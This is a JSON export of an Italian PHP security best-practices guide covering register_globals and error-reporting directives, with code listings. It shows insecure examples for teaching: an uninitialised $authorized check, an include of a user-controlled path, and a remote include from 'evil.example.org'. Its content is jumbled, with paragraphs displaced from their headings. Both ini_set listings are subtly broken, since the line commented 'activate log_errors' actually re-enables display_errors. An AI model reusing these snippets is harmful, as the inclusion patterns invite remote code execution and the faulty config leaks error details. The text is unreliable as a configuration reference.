{"version":"1.6","name":"PHP Best Practices","subline":"Sicurezza e ottimizzazione di PHP","username":"Fabio Politi","created":"05\/30\/2011","website":"http:\/\/icoa.it\/","update":"07\/05\/2012","update_today":true,"email":"f.politi@icoa.it","intro":"I Materiali e i Servizi offerti dal presente Documento sono protetti da copyright e\/o da altre leggi sulla propriet\u00e0 intellettuale. Ogni utilizzo non autorizzato di Materiali e Servizi rappresenter\u00e0 una violazione di tali leggi. Se non secondo quanto espressamente indicato in questo documento, ICOA Srl e i suoi fornitori non vi riconoscono alcun diritto espresso o implicito derivato da brevetti, copyright, marchi di fabbrica o informazioni confidenziali in relazione a Materiali e Servizi.\n\nSe non secondo quanto esplicitamente ammesso in questo documento, nessuna parte di informazione o documento ivi contenuto potr\u00e0 essere riprodotto sotto alcuna forma o con alcun mezzo senza una precedente autorizzazione scritta di ICOA Srl.","sections":[{"title":"Premessa","id":"premessa","content":"
\n\tQuesta guida include degli esempi di codice PHP e delle direttive specifiche inerenti alla modalità di configurazione di PHP, Apache e MySql; tutti gli esempi e le direttive sono state testate con successo sul seguente ambiente lato Server, che verrà preso come l'ambiente di base per tutti gli esempi ed i listati di codice, da ora in poi:<\/p>\n
\n\tDocumentRoot<\/strong>: \/var\/www \n\tPer register_globals<\/strong> la "best practice" è di inizializzare tutte le variabili e di sviluppare in un ambiente con una configurazione in cui la direttiva register_globals<\/strong> è impostata su "Off"<\/strong><\/em> mentre, allo stesso tempo, la direttiva error_reporting<\/strong> è impostata a E_ALL<\/strong><\/em>, in maniera tale da far evidenziare direttamente al sistema eventuali variabili non inizializzate.<\/p>\n \n\tLa Best Practice per error_reporting<\/strong> consiste nell'impostare la direttiva sul valore E_ALL<\/strong> in un ambiente di sviluppo, in maniera tale da avere una reportistica dettagliata su qualsiasi genere di errore possa scaturire durante lo sviluppo del progetto, e di tenere l'ambiente di produzione sui valori come "E_ALL & ~E_NOTICE | E_STRICT"<\/strong>, in modo da non sollevare le "NOTICE"<\/strong> e di "alleggerire" il compito (e quindi indirettamente le performance) del pre-processore PHP.<\/p>\n \n\tIn questa caso la Best Practice è molto semplice, anche se impone un minimo di organizzazione: la direttiva dovrebbe essere sempre impostata su 'On'<\/strong> nell'ambiente di sviluppo, in maniera tale da accorgersi subito di eventuali errori nel codice, ma dovrebbe essere sempre impostata su 'Off'<\/strong> nell'ambiente Server di produzione, in modo tale da nascondere errori troppo "dettagliati" agli Utenti (e potenziali hackers).<\/p>\n \n\tLa Best Practice per la direttiva "log_errors"<\/strong> è che sia impostata su "Off"<\/strong> nel file globale "php.ini"<\/strong>, in modo da evitare che tutti gli scripts di tutti gli applicativi sul Server inducano un'ingente quantità di flussi I\/O su un unico file di log (impostazione di default), ma che sia impostato su "On"<\/strong> secondo un'architettura "per-project"<\/strong>; infatti questa direttiva, utilizzata coerentemente con la direttiva "error_log"<\/strong> permette molto facilmente di instaurare un file di log solo per un unico progetto (o addirittura un unico script), ottenendo l'immediato vantaggio di avere informazioni di logs dettagliate e facilmente contestualizzabile ad un progetto, invece di avere centinaia di logs provenienti da vari script in un unico file.<\/p>\n \n\tAttenzione: ovviamente è saggiamente consigliato di non riporre il file di log in un path(del server) che possa essere acceduto tramite Apache, evitando che si rendano indirettamente pubblici tutti i file di logs e le informazioni contenute in essi.<\/p>\n \n\tRibadiamo il concetto di come, dal PHP 5, queste direttive possono essere configurate in tempo reale tramite la primitiva ini_set, espandendo di molto le possibilità e le potenzialità nell'ambito della reportistica degli errori;<\/p>\n \n\tNota: per informazioni aggiuntive e dettagliate è sempre buona norma riferirsi alla documentazione online costantemente aggiornata: http:\/\/www.php.net\/manual\/en\/ref.errorfunc.php<\/a><\/p>\n
\n\tDefault OS server<\/strong>: Ubuntu Server 11.04 x64
\n\tDefault Web server<\/strong>: Apache 2.2.17
\n\tDefault MySql server<\/strong>: MySql 5.1.63
\n\tDefault PHP configuration file<\/strong>: \/etc\/php.ini
\n\tDefault PHP extensions config directory<\/strong>: \/etc\/php.d\/<\/p>\n"},{"title":"Che cos\'\u00e8 la Sicurezza?","id":"che_cos_la_sicurezza","content":"\n\tLa Sicurezza è un metro di misura, non è una caratteristica.<\/h5>\n
\n\tLa Sicurezza deve essere bilanciata con le spese.<\/h5>\n
\n\tLa Sicurezza deve essere bilanciata con l'usabilità.<\/strong><\/h5>\n
\n\tLa Sicurezza deve essere parte attiva del design di un progetto.<\/h5>\n
\n\tConsidera(e simula) sempre un utilizzo illegittimo della tua applicazione.<\/h5>\n
\n\tImpara da te stesso e mantieniti aggiornato<\/h5>\n
\n\tFiltra sempre tutto ciò che viene dall'esterno<\/h5>\n
\n<?php \n\nif (authenticated_user()) \n{ \n $authorized = true; \n} \n\nif ($authorized) \n{ \n include '\/highly\/sensitive\/data.php'; \n} \n\n?><\/pre>\n
\n<?php\n\ninclude "$path\/script.php";\n\n?><\/pre>\n
\n<?php\n\ninclude 'http:\/\/evil.example.org\/?\/script.php';\n\n?><\/pre>\n
\n\terror_reporting<\/h4>\n
\n\tdisplay_errors<\/h4>\n
\n\tlog_errors<\/h4>\n
\n<?php \n\n\/\/override per-application reporting level \nini_set('error_reporting',E_ALL);\n\/\/disable errors output\nini_set('display_errors','Off');\n\/\/activate log_errors\nini_set('display_errors','On');\n\/\/put the log file in a separate dir, per-project\nini_set('error_log','\/var\/php_logs\/MyApp01\/logs\/php_error.log');\n\n?><\/pre>\n
\n\terror_log<\/h4>\n
\n<?php \n\n\/\/override per-application reporting level \nini_set('error_reporting',E_ALL);\n\/\/disable errors output\nini_set('display_errors','Off');\n\/\/activate log_errors\nini_set('display_errors','On');\n\/\/generate a filename with the current date\n$log_file = date("Y-m-d"). ".log";\n\/\/put the log file in a separate dir, per-project\nini_set('error_log','\/var\/php_logs\/MyApp01\/logs\/' . $log_file);\n\n?><\/pre>\n